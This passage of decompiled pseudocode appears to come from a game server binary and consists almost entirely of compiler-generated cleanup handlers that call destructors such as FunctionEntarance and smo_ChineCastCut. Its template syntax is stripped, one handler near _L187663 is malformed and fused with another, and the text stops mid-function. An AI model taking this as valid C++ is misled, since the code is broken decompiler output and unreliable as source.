-------------------------------------------------------- void __usercall _L178489(int a1) { operator delete(*(void **)(a1 - 276)); } //----- (0061EA6E) -------------------------------------------------------- void __usercall _L178491(int a1) { operator delete(*(void **)(a1 - 276)); } //----- (0061EA9B) -------------------------------------------------------- void __usercall _L178944(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EAA6) -------------------------------------------------------- void __usercall _L178945(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EAB1) -------------------------------------------------------- void __usercall _L178946(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EABC) -------------------------------------------------------- void __usercall _L178952(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EAD2) -------------------------------------------------------- void __usercall _L178954(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EADD) -------------------------------------------------------- void __usercall _L178955(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EAE8) -------------------------------------------------------- void __usercall _L178956(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EAF3) -------------------------------------------------------- void __usercall _L178957(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EB09) -------------------------------------------------------- void __usercall _L178959(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EB14) -------------------------------------------------------- void __usercall _L178960(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EB1F) -------------------------------------------------------- void __usercall _L178961(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EB2A) -------------------------------------------------------- void __usercall _L178962(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EB40) -------------------------------------------------------- void __usercall _L178964(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EB4B) -------------------------------------------------------- void __usercall _L178965(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EB56) -------------------------------------------------------- void __usercall _L178966(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EB61) -------------------------------------------------------- void __usercall _L178967(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EB77) -------------------------------------------------------- void __usercall _L178969(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EB82) -------------------------------------------------------- void __usercall _L178970(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EB8D) -------------------------------------------------------- void __usercall _L178971(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EB98) -------------------------------------------------------- void __usercall _L178972(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EBAE) -------------------------------------------------------- void __usercall _L178974(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EBB9) -------------------------------------------------------- void __usercall _L178975(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EBC4) -------------------------------------------------------- void __usercall _L178976(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EBCF) -------------------------------------------------------- void __usercall _L178977(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EBE5) -------------------------------------------------------- void __usercall _L178979(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EBF0) -------------------------------------------------------- void __usercall _L178980(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EBFB) -------------------------------------------------------- void __usercall _L178981(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EC06) -------------------------------------------------------- void __usercall _L178982(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EC1C) -------------------------------------------------------- void __usercall _L178984(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EC27) -------------------------------------------------------- void __usercall _L178985(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EC32) -------------------------------------------------------- void __usercall _L178986(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EC3D) -------------------------------------------------------- void __usercall _L178987(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EC53) -------------------------------------------------------- void __usercall _L178989(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EC5E) -------------------------------------------------------- void __usercall _L178990(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EC69) -------------------------------------------------------- void __usercall _L178991(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EC74) -------------------------------------------------------- void __usercall _L178992(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EC8A) -------------------------------------------------------- void __usercall _L178994(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EC95) -------------------------------------------------------- void __usercall _L178995(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061ECA0) -------------------------------------------------------- void __usercall _L178996(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061ECAB) -------------------------------------------------------- void __usercall _L178997(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061ECC1) -------------------------------------------------------- void __usercall _L178999(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061ECCC) -------------------------------------------------------- void __usercall _L179000(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061ECD7) -------------------------------------------------------- void __usercall _L179001(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061ECE2) -------------------------------------------------------- void __usercall _L179002(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061ECF8) -------------------------------------------------------- void __usercall _L179004(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061ED03) -------------------------------------------------------- void __usercall _L179005(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061ED0E) -------------------------------------------------------- void __usercall _L179006(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061ED19) -------------------------------------------------------- void __usercall _L179007(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061ED2F) -------------------------------------------------------- void __usercall _L179009(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061ED3A) -------------------------------------------------------- void __usercall _L179010(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061ED45) -------------------------------------------------------- void __usercall _L179011(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061ED50) -------------------------------------------------------- void __usercall _L179012(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061ED66) -------------------------------------------------------- void __usercall _L179014(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061ED71) -------------------------------------------------------- void __usercall _L179015(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061ED7C) -------------------------------------------------------- void __usercall _L179016_0(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061ED87) -------------------------------------------------------- void __usercall _L179017_0(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061ED9D) -------------------------------------------------------- void __usercall _L179019(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EDA8) -------------------------------------------------------- void __usercall _L179020(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EDB3) -------------------------------------------------------- void __usercall _L179021(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EDBE) -------------------------------------------------------- void __usercall _L179022(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EDD4) -------------------------------------------------------- void __usercall _L179024(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EDDF) -------------------------------------------------------- void __usercall _L179025(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EDEA) -------------------------------------------------------- void __usercall _L179026(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EDF5) -------------------------------------------------------- void __usercall _L179027(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EE0B) -------------------------------------------------------- void __usercall _L179029(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EE16) -------------------------------------------------------- void __usercall _L179030(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EE21) -------------------------------------------------------- void __usercall _L179031(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EE2C) -------------------------------------------------------- void __usercall _L179032(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EE42) -------------------------------------------------------- void __usercall _L179034(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EE4D) -------------------------------------------------------- void __usercall _L179035(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EE58) -------------------------------------------------------- void __usercall _L179036(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EE63) -------------------------------------------------------- void __usercall _L179037(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EE80) -------------------------------------------------------- void __usercall _L182422(int a1) { if ( *(_DWORD *)(a1 - 20) & 1 ) { *(_DWORD *)(a1 - 20) &= 0xFFFFFFFEu; std::basic_ios>::_basic_ios>((std::basic_ios > *)(*(_DWORD *)(a1 - 16) + 12)); } } //----- (0061EE9C) -------------------------------------------------------- void __usercall _L182424(int a1) { std::basic_istream>::_basic_istream>((std::basic_istream > *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (0061EEC0) -------------------------------------------------------- void __usercall _L182598(int a1) { std::locale::_locale((std::locale *)(a1 - 84)); } //----- (0061EEC8) -------------------------------------------------------- void __usercall _L182599(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 48)); } //----- (0061EED0) -------------------------------------------------------- void __usercall _L182600(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 76)); } //----- (0061EED8) -------------------------------------------------------- void __usercall _L182601(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 76)); } //----- (0061EEF0) -------------------------------------------------------- void __usercall _L183269(int a1) { operator delete(*(void **)(a1 - 132)); } //----- (0061EEFE) -------------------------------------------------------- void __usercall _L183272(int a1) { std::codecvt_base::_codecvt_base(*(std::num_get > > **)(a1 - 132)); } //----- (0061EF09) -------------------------------------------------------- void __usercall _L183273(int a1) { std::_Locinfo::__Locinfo((std::_Locinfo *)(a1 - 128)); } //----- (0061EF20) -------------------------------------------------------- void __usercall _L183303(int a1) { std::codecvt_base::_codecvt_base(*(std::num_get > > **)(a1 - 16)); } //----- (0061EF50) -------------------------------------------------------- void __usercall _L183541(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator(*(PineEventScriptNode::CompareOperator **)(a1 - 20)); } //----- (0061EF58) -------------------------------------------------------- void __usercall _L183542(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0061EF80) -------------------------------------------------------- void __usercall _L183709(int a1) { if ( *(_DWORD *)(a1 - 20) & 1 ) { *(_DWORD *)(a1 - 20) &= 0xFFFFFFFEu; std::basic_ios>::_basic_ios>((std::basic_ios > *)(*(_DWORD *)(a1 - 16) + 84)); } } //----- (0061EF9C) -------------------------------------------------------- void __usercall _L183711(int a1) { std::basic_iostream>::_basic_iostream>((std::basic_iostream > *)(*(_DWORD *)(a1 - 16) + 12)); } //----- (0061EFC0) -------------------------------------------------------- void __usercall _L183734(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (0061EFC8) -------------------------------------------------------- void __usercall _L183738_0(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (0061EFD0) -------------------------------------------------------- void __usercall _L183739(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (0061EFF0) -------------------------------------------------------- void __usercall _L184611(int a1) { std::locale::_locale((std::locale *)(a1 - 52)); } //----- (0061EFF8) -------------------------------------------------------- void __usercall _L184612(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (0061F010) -------------------------------------------------------- void __usercall _L185015_0(int a1) { std::locale::_locale((std::locale *)(a1 - 100)); } //----- (0061F018) -------------------------------------------------------- void __usercall _L185016_0(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (0061F020) -------------------------------------------------------- void __usercall _L185017_0(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 72)); } //----- (0061F040) -------------------------------------------------------- void __usercall _L187386(int a1) { std::basic_stringstream_std::allocator>::_vbase_destructor((std::basic_stringstream,std::allocator > *)(a1 - 148)); } //----- (0061F04B) -------------------------------------------------------- void __usercall _L187387(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 176)); } //----- (0061F060) -------------------------------------------------------- void __usercall _L184659(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061F080) -------------------------------------------------------- void __usercall _L183061(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 820)); } //----- (0061F08B) -------------------------------------------------------- void __usercall _L183062(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (0061F096) -------------------------------------------------------- void __usercall _L183063(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 784)); } //----- (0061F0A1) -------------------------------------------------------- void __usercall _L183064(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061F0C0) -------------------------------------------------------- void __usercall _L183191(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 548)); } //----- (0061F0CB) -------------------------------------------------------- void __usercall _L183192(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (0061F0D6) -------------------------------------------------------- void __usercall _L183193(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061F0F0) -------------------------------------------------------- void __usercall _L183644(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 540)); } //----- (0061F0FB) -------------------------------------------------------- void __usercall _L183645(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (0061F106) -------------------------------------------------------- void __usercall _L183646(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (0061F111) -------------------------------------------------------- void __usercall _L183647(int a1) { AxialListMobCounter::_AxialListMobCounter((AxialListMobCounter *)(a1 - 568)); } //----- (0061F11C) -------------------------------------------------------- void __usercall _L183648(int a1) { AxialListMobCounter::_AxialListMobCounter((AxialListMobCounter *)(a1 - 568)); } //----- (0061F127) -------------------------------------------------------- void __usercall _L183649(int a1) { AxialListMobCounter::_AxialListMobCounter((AxialListMobCounter *)(a1 - 568)); } //----- (0061F140) -------------------------------------------------------- void __usercall _L183827(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 280)); } //----- (0061F14B) -------------------------------------------------------- void __usercall _L183828(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061F160) -------------------------------------------------------- void __usercall _L184706(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0061F16B) -------------------------------------------------------- void __usercall _L184707(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061F180) -------------------------------------------------------- void __usercall _L184051(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 288)); } //----- (0061F18B) -------------------------------------------------------- void __usercall _L184052_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061F196) -------------------------------------------------------- void __usercall _L184053(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 284)); } //----- (0061F1B0) -------------------------------------------------------- void __usercall _L184250(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1080)); } //----- (0061F1BB) -------------------------------------------------------- void __usercall _L184251(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (0061F1C6) -------------------------------------------------------- void __usercall _L184252(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (0061F1D1) -------------------------------------------------------- void __usercall _L184253(int a1) { AxialListObjectList::_AxialListObjectList((AxialListObjectList *)(a1 - 1064)); } //----- (0061F1F0) -------------------------------------------------------- void __usercall _L185332_0(int a1) { AxialListNearGateFind::_AxialListNearGateFind(*(AxialListNearGateFind **)(a1 - 16)); } //----- (0061F210) -------------------------------------------------------- void __usercall _L184488(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0061F230) -------------------------------------------------------- void __usercall _L184789_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 892)); } //----- (0061F23B) -------------------------------------------------------- void __usercall _L184790_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 792)); } //----- (0061F246) -------------------------------------------------------- void __usercall _L184791_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (0061F251) -------------------------------------------------------- void __usercall _L184792_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (0061F25C) -------------------------------------------------------- void __usercall _L184793_0(int a1) { AxialListMobInAreaCounter::_AxialListMobInAreaCounter((AxialListMobInAreaCounter *)(a1 - 856)); } //----- (0061F267) -------------------------------------------------------- void __usercall _L184794_1(int a1) { AxialListMobInAreaCounter::_AxialListMobInAreaCounter((AxialListMobInAreaCounter *)(a1 - 856)); } //----- (0061F272) -------------------------------------------------------- void __usercall _L184795_0(int a1) { AxialListMobInAreaCounter::_AxialListMobInAreaCounter((AxialListMobInAreaCounter *)(a1 - 856)); } //----- (0061F290) -------------------------------------------------------- void __usercall _L184928_1(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 288)); } //----- (0061F29B) -------------------------------------------------------- void __usercall _L184929_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061F2B0) -------------------------------------------------------- void __usercall _L185028_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 308)); } //----- (0061F2BB) -------------------------------------------------------- void __usercall _L185029_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 304)); } //----- (0061F2D0) -------------------------------------------------------- void __usercall _L185345_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 6720)); } //----- (0061F2DB) -------------------------------------------------------- void __usercall _L185346_1(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 6704)); } //----- (0061F2E6) -------------------------------------------------------- void __usercall _L185347_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 6448)); } //----- (0061F2F1) -------------------------------------------------------- void __usercall _L185348_0(int a1) { AxialListKQResult::_AxialListKQResult((AxialListKQResult *)(a1 - 6192)); } //----- (0061F2FC) -------------------------------------------------------- void __usercall _L185349_0(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 6716)); } //----- (0061F320) -------------------------------------------------------- void __usercall _L185421(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 6700)); } //----- (0061F32B) -------------------------------------------------------- void __usercall _L185422(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 6696)); } //----- (0061F336) -------------------------------------------------------- void __usercall _L185423(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 6440)); } //----- (0061F341) -------------------------------------------------------- void __usercall _L185424(int a1) { AxialListKQResult::_AxialListKQResult((AxialListKQResult *)(a1 - 6184)); } //----- (0061F34C) -------------------------------------------------------- void __usercall _L185462(int a1) { AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)(a1 - 6184)); } //----- (0061F370) -------------------------------------------------------- void __usercall _L185935(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 708)); } //----- (0061F37B) -------------------------------------------------------- void __usercall _L185936(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 696)); } //----- (0061F386) -------------------------------------------------------- void __usercall _L185937(int a1) { FieldMap::_FieldMap(a1 - 440); } //----- (0061F3A0) -------------------------------------------------------- void __usercall _L186069(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 712)); } //----- (0061F3AB) -------------------------------------------------------- void __usercall _L186070(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 696)); } //----- (0061F3B6) -------------------------------------------------------- void __usercall _L186071(int a1) { FieldMap::_FieldMap(a1 - 440); } //----- (0061F3D0) -------------------------------------------------------- void __usercall _L187246(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0061F3F0) -------------------------------------------------------- void __usercall _L187661(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 540)); } //----- (0061F3FB) -------------------------------------------------------- void __usercall _L187662(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (0061F406) -------------------------------------------------------- void __usercall _L187663(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (0061F430) -------------------------------------------------------- void __usercall _L78186(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0061F460) -------------------------------------------------------- void __usercall _L79804(int a1) { BTree::_BTree((BTree *)(*(_DWORD *)(a1 - 20) + 8)); } //----- (0061F480) -------------------------------------------------------- void __usercall _L79824(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (0061F4A0) -------------------------------------------------------- void __usercall _L80092(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0061F4C0) -------------------------------------------------------- void __usercall _L80151(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 148)); } //----- (0061F4E0) -------------------------------------------------------- void __usercall _L196688(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061F520) -------------------------------------------------------- void __usercall _L214270(int a1) { AxialListNearGateFind::_AxialListNearGateFind(*(AxialListNearGateFind **)(a1 - 16)); } //----- (0061F540) -------------------------------------------------------- void __usercall _L196629(int a1) { AxialListNearGateFind::_AxialListNearGateFind(*(AxialListNearGateFind **)(a1 - 20)); } //----- (0061F560) -------------------------------------------------------- void __usercall _L196849(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (0061F580) -------------------------------------------------------- void __usercall _L215503(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061F5A0) -------------------------------------------------------- void __usercall _L198101(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 532)); } //----- (0061F5AB) -------------------------------------------------------- void __usercall _L198102(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061F5B6) -------------------------------------------------------- void __usercall _L198103(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (0061F5D0) -------------------------------------------------------- void __usercall _L198164(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1596)); } //----- (0061F5DB) -------------------------------------------------------- void __usercall _L198165(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (0061F5E6) -------------------------------------------------------- void __usercall _L198166(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (0061F5F1) -------------------------------------------------------- void __usercall _L198167(int a1) { _eh_vector_destructor_iterator_( (void *)(a1 - 1304), 0x100u, 3, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (0061F60A) -------------------------------------------------------- void __usercall _L198168(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1560)); } //----- (0061F615) -------------------------------------------------------- void __usercall _L198169(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 1576)); } //----- (0061F620) -------------------------------------------------------- void __usercall _L198170(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 1576)); } //----- (0061F640) -------------------------------------------------------- void __usercall _L198390_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 292)); } //----- (0061F64B) -------------------------------------------------------- void __usercall _L198391_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061F660) -------------------------------------------------------- void __usercall _L198522_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 296)); } //----- (0061F66B) -------------------------------------------------------- void __usercall _L198523_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061F680) -------------------------------------------------------- void __usercall _L198939(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 304)); } //----- (0061F68B) -------------------------------------------------------- void __usercall _L198940(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061F6A0) -------------------------------------------------------- void __usercall _L199360(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1052)); } //----- (0061F6AB) -------------------------------------------------------- void __usercall _L199361(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (0061F6B6) -------------------------------------------------------- void __usercall _L199362(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1048)); } //----- (0061F6C1) -------------------------------------------------------- void __usercall _L199363(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 792)); } //----- (0061F6CC) -------------------------------------------------------- void __usercall _L199364(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (0061F6D7) -------------------------------------------------------- void __usercall _L199365(int a1) { AxialListMobVanish::_AxialListMobVanish((AxialListMobVanish *)(a1 - 1064)); } //----- (0061F6E2) -------------------------------------------------------- void __usercall _L199366(int a1) { AxialListMobVanish::_AxialListMobVanish((AxialListMobVanish *)(a1 - 1064)); } //----- (0061F700) -------------------------------------------------------- void __usercall _L199467(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1076)); } //----- (0061F70B) -------------------------------------------------------- void __usercall _L199468(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1040)); } //----- (0061F716) -------------------------------------------------------- void __usercall _L199469_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 784)); } //----- (0061F721) -------------------------------------------------------- void __usercall _L199470_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061F72C) -------------------------------------------------------- void __usercall _L199471(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (0061F750) -------------------------------------------------------- void __usercall _L199602(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (0061F758) -------------------------------------------------------- void __usercall _L199603(int a1) { AxialListMobCounter::_AxialListMobCounter((AxialListMobCounter *)(a1 - 36)); } //----- (0061F770) -------------------------------------------------------- void __usercall _L199731(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1052)); } //----- (0061F77B) -------------------------------------------------------- void __usercall _L199732(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (0061F786) -------------------------------------------------------- void __usercall _L199733_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 792)); } //----- (0061F791) -------------------------------------------------------- void __usercall _L199734(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1048)); } //----- (0061F79C) -------------------------------------------------------- void __usercall _L199735(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1048)); } //----- (0061F7A7) -------------------------------------------------------- void __usercall _L199736(int a1) { 